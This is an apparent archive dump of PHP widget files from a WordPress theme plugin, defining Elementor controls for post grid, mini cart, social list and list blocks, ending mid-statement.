$this->add_control( 'tablet_hide_meta', array( 'label' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::tablet_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'mobile_hide_meta', array( 'label' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::mobile_hide_meta_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => esc_html__( 'avatar, author', 'foxiz-core' ), 'multiple' => true, 'default' => array() ) ); $this->add_control( 'hide_excerpt', array( 'label' => esc_html__( 'Hide Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::hide_excerpt_description(), 'options' => Options::hide_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'counter_section', array( 'label' => esc_html__( 'Counter', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'counter', array( 'label' => esc_html__( 'Show Counter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::counter_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_control( 'counter_set', array( 'label' => esc_html__( 'Counter Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_set_description(), 'selectors' => array( '{{WRAPPER}} .block-wrap' => 'counter-increment: trend-counter {{VALUE}};', ), ) ); $this->add_responsive_control( 'counter_size', array( 'label' => esc_html__( 'Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::counter_size_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .counter-el:before' => 'font-size: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'rounded_section', array( 'label' => esc_html__( 'Rounded Corner', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'box_border', array( 'label' => esc_html__( 'Border Radius', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::border_description(), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--wrap-border: {{VALUE}}px;', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color_section', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'color_scheme_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::color_scheme_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'color_scheme', array( 'label' => esc_html__( 'Text Color Scheme', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::color_scheme_description(), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz-core' ), '1' => esc_html__( 'Light Text', 'foxiz-core' ) ), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'font_section', array( 'label' => esc_html__( 'Custom Font', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'custom_font_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::custom_font_info_description(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Post Title Font', 'foxiz-core' ), 'name' => 'title_font', 'selector' => '{{WRAPPER}} .entry-title', ) ); $this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array( 'label' => esc_html__( 'Entry Category Font', 'foxiz-core' ), 'name' => 'category_font', 'selector' => '{{WRAPPER}} .p-categories', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_columns', array( 'label' => esc_html__( 'Column Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This layout is best suited for putting to all sections, depending on column settings.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'columns', array( 'label' => esc_html__( 'Columns on Desktop', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_tablet', array( 'label' => esc_html__( 'Columns on Tablet', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_tablet_description(), 'options' => Options::columns_dropdown(), 'default' => '0', ) ); $this->add_control( 'columns_mobile', array( 'label' => esc_html__( 'Columns on Mobile', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::columns_mobile_description(), 'options' => Options::columns_dropdown( array( 0, 1, 2 ) ), 'default' => '0', ) ); $this->add_control( 'column_gap', array( 'label' => esc_html__( 'Columns Gap', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_gap_description(), 'options' => Options::column_gap_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'column_gap_custom', array( 'label' => esc_html__( '1/2 Custom Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::column_gap_custom_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .is-gap-custom' => 'margin-left: -{{VALUE}}px; margin-right: -{{VALUE}}px; --column-gap: {{VALUE}}px;', '{{WRAPPER}} .is-gap-custom .block-inner > *' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'spacing_section', array( 'label' => esc_html__( 'Spacing', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_responsive_control( 'el_spacing', array( 'label' => esc_html__( 'Custom Element Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap' => '--el-spacing: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'bottom_margin', array( 'label' => esc_html__( 'Custom Bottom Margin', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::el_margin_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .p-wrap, {{WRAPPER}} .pagination-wrap' => '--bottom-spacing: {{VALUE}}px;' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'border_section', array( 'label' => esc_html__( 'Border', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'border_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The settings below require all responsive column values to be set.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'column_border', array( 'label' => esc_html__( 'Column Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::column_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'bottom_border', array( 'label' => esc_html__( 'Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bottom_border_description(), 'options' => Options::column_border_dropdown(), 'default' => '0', ) ); $this->add_control( 'last_bottom_border', array( 'label' => esc_html__( 'Last Bottom Border', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::last_bottom_border_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->end_controls_section(); $this->start_controls_section( 'center_section', array( 'label' => esc_html__( 'Centering', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'center_mode', array( 'label' => esc_html__( 'Centering Content', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::center_mode_description(), 'options' => Options::switch_dropdown(), 'default' => '0' ) ); $this->end_controls_section(); $this->start_controls_section( 'carousel_section', array( 'label' => esc_html__( 'Carousel Mode', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_LAYOUT, ) ); $this->add_control( 'carousel_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'The ajax pagination setting will be not available if the carousel mode is activated.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'carousel', array( 'label' => esc_html__( 'Carousel', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_mode_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->add_responsive_control( 'carousel_columns', array( 'label' => esc_html__( 'Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_columns_description(), 'default' => '', ) ); $this->add_control( 'carousel_wide_columns', array( 'label' => esc_html__( 'Wide Screen - Number of Slides', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::wide_carousel_columns_description(), 'default' => '', ) ); $this->add_responsive_control( 'carousel_gap', array( 'label' => esc_html__( 'Carousel Gap Value', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'description' => Options::carousel_gap_description(), 'default' => '', ) ); $this->add_control( 'carousel_dot', array( 'label' => esc_html__( 'Pagination Dot', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_dot_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_control( 'carousel_nav', array( 'label' => esc_html__( 'Next/Prev', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_nav_description(), 'options' => Options::switch_dropdown( false ), 'default' => '1', ) ); $this->add_responsive_control( 'carousel_footer_margin', array( 'label' => esc_html__( 'Nav Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_nav_spacing_description(), 'devices' => array( 'desktop', 'tablet', 'mobile' ), 'selectors' => array( '{{WRAPPER}} .slider-footer' => 'margin-top: {{VALUE}}px;' ), ) ); $this->add_control( 'slider_play', array( 'label' => esc_html__( 'Auto Play Next Slides', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_autoplay_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_responsive_control( 'slider_speed', array( 'label' => esc_html__( 'Auto Play Speed', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::carousel_speed_description(), 'default' => '', ) ); $this->add_control( 'slider_fmode', array( 'label' => esc_html__( 'Carousel Free Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_freemode_description(), 'options' => Options::switch_dropdown(), 'default' => 0, ) ); $this->add_control( 'slider_centered', array( 'label' => esc_html__( 'Centered Sliders', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::carousel_centered_description(), 'options' => Options::switch_dropdown(false), 'default' => '-1', ) ); $this->end_controls_section(); } protected function render() { if ( function_exists( 'foxiz_get_grid_2' ) ) { $settings = $this->get_settings(); $settings['uuid'] = 'uid_' . $this->get_id(); echo \foxiz_get_grid_2( $settings ); } } }elementor/mini-cart.php000064400000016565147206624460011162 0ustar00start_controls_section( 'style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_size', array( 'label' => esc_html__( 'Icon Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom font size for the mini cart icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} i.wnav-icon' => 'font-size: {{VALUE}}px;', '{{WRAPPER}} span.wnav-svg' => 'width: {{VALUE}}px;', ), ) ); $this->add_control( 'icon_height', array( 'label' => esc_html__( 'Icon Height', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom height value for the mini cart icon.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .cart-link' => 'height: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'flex-start' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'flex-end' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .cart-link' => 'justify-content: {{VALUE}};', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color-section', array( 'label' => esc_html__( 'Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_color', array( 'label' => esc_html__( 'Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the mini cart icon.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} i.wnav-icon' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'count_color', array( 'label' => esc_html__( 'Cart Counter Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the cart counter dot.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} .cart-counter' => 'background-color: {{VALUE}};' ), ) ); $this->add_control( 'dark_icon_color', array( 'label' => esc_html__( 'Dark Mode - Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the mini cart icon in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} i.wnav-icon' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_count_color', array( 'label' => esc_html__( 'Count Dot Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the cart counter dot in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .cart-counter' => 'background-color: {{VALUE}};' ), ) ); $this->end_controls_section(); $this->start_controls_section( 'dropdown-section', array( 'label' => esc_html__( 'Dropdown Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'form_position', array( 'label' => esc_html__( 'Dropdown Right Position', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'input a right relative position for the mini cart dropdown, for example: -200', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-dropdown' => 'right: {{VALUE}}px; left: auto;' ), ) ); $this->add_control( 'dropdown_color', array( 'label' => esc_html__( 'Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for the mini cart dropdown.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .header-dropdown' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'bg_from', array( 'label' => esc_html__( 'Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the dropdown section.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '{{WRAPPER}} .header-dropdown' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'bg_to', array( 'label' => esc_html__( 'Background Gradient (To)', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color (color stop: 100%) for the dropdown section.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-dropdown' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->add_control( 'dark_dropdown_color', array( 'label' => esc_html__( 'Dark Mode - Text Color', 'foxiz-core' ), 'description' => esc_html__( 'Select a text color for the mini cart dropdown in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .header-dropdown' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_bg_from', array( 'label' => esc_html__( 'Dark Mode - Background Gradient (From)', 'foxiz-core' ), 'description' => esc_html__( 'Select a background color (color stop: 0%) for the dropdown section in the dark mode.', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .header-dropdown' => '--subnav-bg: {{VALUE}}; --subnav-bg-from: {{VALUE}};' ), ) ); $this->add_control( 'dark_bg_to', array( 'label' => esc_html__( 'Dark Mode - Background Gradient (To)', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a background color (color stop: 100%) for the dropdown section in the dark mode.', 'foxiz-core' ), 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .header-dropdown' => '--subnav-bg-to: {{VALUE}};' ), ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { \foxiz_elementor_mini_cart( $this->get_settings() ); } }elementor/social-list.php000064400000010473147206624460011512 0ustar00start_controls_section( 'general', array( 'label' => esc_html__( 'General', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'layout_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'This block will get information from Theme Options > Social Profiles to show.', 'foxiz-core' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->end_controls_section(); $this->start_controls_section( 'style-section', array( 'label' => esc_html__( 'Style Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_size', array( 'label' => esc_html__( 'Icon Font Size', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom font size for the social icons.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-social-list i' => 'font-size: {{VALUE}}px;' ), ) ); $this->add_control( 'icon_height', array( 'label' => esc_html__( 'Icon Height', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Select a custom height value for the social icons.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-social-list i' => 'line-height: {{VALUE}}px;' ), ) ); $this->add_control( 'item_spacing', array( 'label' => esc_html__( 'Item Spacing', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Input a custom spacing between social list item (in px). Default is 5.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .header-social-list > a' => 'padding-left: {{VALUE}}px; padding-right: {{VALUE}}px;' ), ) ); $this->add_responsive_control( 'align', array( 'label' => esc_html__( 'Alignment', 'foxiz-core' ), 'type' => Controls_Manager::CHOOSE, 'options' => array( 'left' => array( 'title' => esc_html__( 'Left', 'foxiz-core' ), 'icon' => 'eicon-align-start-h', ), 'center' => array( 'title' => esc_html__( 'Center', 'foxiz-core' ), 'icon' => 'eicon-align-center-h', ), 'right' => array( 'title' => esc_html__( 'Right', 'foxiz-core' ), 'icon' => 'eicon-align-end-h', ), ), 'selectors' => array( '{{WRAPPER}} .header-social-list' => 'text-align: {{VALUE}};', ), ) ); $this->end_controls_section(); $this->start_controls_section( 'color-section', array( 'label' => esc_html__( 'Color Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'icon_color', array( 'label' => esc_html__( 'Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the social icons.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '{{WRAPPER}} .header-social-list' => 'color: {{VALUE}};' ), ) ); $this->add_control( 'dark_icon_color', array( 'label' => esc_html__( 'Dark Mode - Icon Color', 'foxiz-core' ), 'type' => Controls_Manager::COLOR, 'description' => esc_html__( 'Select a color for the social icons in the dark mode.', 'foxiz-core' ), 'default' => '', 'selectors' => array( '[data-theme="dark"] {{WRAPPER}} .header-social-list' => 'color: {{VALUE}};' ), ) ); $this->end_controls_section(); } /** * render layout */ protected function render() { \foxiz_elementor_social_list(); } }elementor/list-2.php000064400000066223147206624460010405 0ustar00start_controls_section( 'query_filters', array( 'label' => esc_html__( 'Query Settings', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); if ( 'rb-etemplate' === get_post_type() ) { $this->add_control( 'dynamic_query_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'dynamic_query_category_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::dynamic_query_category_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown( true ), 'default' => '0', ) ); } else { $this->add_control( 'category', array( 'label' => esc_html__( 'Category Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::category_description(), 'options' => Options::cat_dropdown(), 'default' => '0', ) ); } $this->add_control( 'categories', array( 'label' => esc_html__( 'Categories Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::categories_description(), 'default' => '', ) ); $this->add_control( 'tags', array( 'label' => esc_html__( 'Tags Slug Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tags_description(), 'default' => '', ) ); $this->add_control( 'tag_not_in', array( 'label' => esc_html__( 'Exclude Tags Slug', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::tag_not_in_description(), 'default' => '', ) ); $this->add_control( 'format', array( 'label' => esc_html__( 'Post Format', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::format_description(), 'options' => Options::format_dropdown(), 'default' => '0', ) ); $this->add_control( 'author', array( 'label' => esc_html__( 'Author Filter', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::author_description(), 'options' => Options::author_dropdown(), 'default' => '0', ) ); $this->add_control( 'post_not_in', array( 'label' => esc_html__( 'Exclude Post IDs', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_not_in_description(), 'default' => '', ) ); $this->add_control( 'post_in', array( 'label' => esc_html__( 'Post IDs Filter', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::post_in_description(), 'default' => '', ) ); $this->add_control( 'order', array( 'label' => esc_html__( 'Sort Order', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::order_description(), 'options' => Options::order_dropdown(), 'default' => 'date_post', ) ); $this->add_control( 'posts_per_page', array( 'label' => esc_html__( 'Number of Posts', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::posts_per_page_description(), 'default' => '5', ) ); $this->add_control( 'offset', array( 'label' => esc_html__( 'Post Offset', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::offset_description(), 'default' => '', ) ); $this->end_controls_section(); if ( 'rb-etemplate' === get_post_type() ) { $this->start_controls_section( 'archive-builder-section', array( 'label' => esc_html__( 'Archive Builder - Global Query', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'archive_builder_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_unique_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_unique_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_available_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_available_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_pagination_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_pagination_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'archive_builder_total_posts_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_total_posts_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-success', ) ); $this->add_control( 'archive_builder_admin_info', array( 'type' => Controls_Manager::RAW_HTML, 'raw' => Options::archive_builder_admin_info(), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-warning', ) ); $this->add_control( 'query_mode', array( 'label' => esc_html__( 'Query Mode', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::query_mode_description(), 'options' => array( '0' => esc_html__( 'Use Custom Query (default)', 'foxiz-core' ), 'global' => esc_html__( 'Use WP Global Query', 'foxiz-core' ), ), 'default' => '0', ) ); $this->add_control( 'builder_pagination', array( 'label' => esc_html__( 'WP Global Query Pagination', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::archive_pagination_description(), 'options' => Options::archive_builder_pagination_dropdown(), 'default' => 'number' ) ); $this->end_controls_section(); } $this->start_controls_section( 'block_pagination', array( 'label' => esc_html__( 'Ajax Pagination', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'pagination', array( 'label' => esc_html__( 'Pagination Type', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::pagination_description(), 'options' => Options::pagination_dropdown(), 'default' => '0', ) ); $this->end_controls_section(); $this->start_controls_section( 'unique_section', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_CONTENT, ) ); $this->add_control( 'unique', array( 'label' => esc_html__( 'Unique Post', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::unique_description(), 'options' => Options::switch_dropdown( false ), 'default' => '-1', ) ); $this->end_controls_section(); $this->start_controls_section( 'block_design', array( 'label' => esc_html__( 'Block Design', 'foxiz-core' ), 'tab' => Controls_Manager::TAB_STYLE, ) ); $this->add_control( 'crop_size', array( 'label' => esc_html__( 'Featured Image Size', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::crop_size(), 'options' => Options::crop_size_dropdown(), 'default' => '0', ) ); $this->add_responsive_control( 'display_ratio', array( 'label' => esc_html__( 'Custom Featured Ratio', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'description' => Options::display_ratio_description(), 'selectors' => array( '{{WRAPPER}} .p-featured' => 'padding-bottom: {{VALUE}}%', ), ) ); $this->add_responsive_control( 'featured_width', array( 'label' => esc_html__( 'Custom Featured Width', 'foxiz-core' ), 'type' => Controls_Manager::NUMBER, 'devices' => array( 'desktop', 'tablet' ), 'description' => esc_html__( 'Input custom width values (px) for the featured image. Leave blank to set it as the default.', 'foxiz-core' ), 'selectors' => array( '{{WRAPPER}} .p-list-2 .list-feat-holder' => 'width: {{VALUE}}px; max-width: {{VALUE}}px;', ), ) ); $this->add_control( 'featured_position', array( 'label' => esc_html__( 'Featured Position', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::featured_position_description(), 'options' => Options::featured_position_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_category', array( 'label' => esc_html__( 'Entry Category', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_category_description(), 'options' => Options::extended_entry_category_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta_bar', array( 'label' => esc_html__( 'Entry Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_meta_description(), 'options' => Options::entry_meta_dropdown(), 'default' => '0', ) ); $this->add_control( 'entry_meta', array( 'label' => esc_html__( 'Entry Meta Tags', 'foxiz-core' ), 'type' => Controls_Manager::TEXTAREA, 'rows' => 2, 'description' => Options::entry_meta_tags_description(), 'options' => Options::entry_meta_tags_dropdown(), 'placeholder' => Options::entry_meta_tags_placeholder(), 'default' => '' ) ); $this->add_control( 'entry_format', array( 'label' => esc_html__( 'Post Format Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::entry_format_description(), 'options' => Options::entry_format_dropdown(), 'default' => '0', ) ); $this->add_control( 'review', array( 'label' => esc_html__( 'Review Meta', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_description(), 'options' => Options::review_dropdown(), 'default' => '0', ) ); $this->add_control( 'review_meta', array( 'label' => esc_html__( 'Review Meta Description', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::review_meta_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'bookmark', array( 'label' => esc_html__( 'Bookmark Icon', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::bookmark_description(), 'options' => Options::switch_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt', array( 'label' => esc_html__( 'Excerpt', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => Options::excerpt_description(), 'options' => Options::excerpt_dropdown(), 'default' => '0', ) ); $this->add_control( 'excerpt_length', array( 'label' => esc_html__( 'Excerpt - Max Length', 'foxiz-core' ), 'type' => Controls_Manager::TEXT, 'description' => Options::max_excerpt_description(), 'default' => '', ) ); $this->add_control( 'excerpt_source', array( 'label' => esc_html__( 'Excerpt - Source', 'foxiz-core' ), 'type' => Controls_Manager::SELECT, 'description' => 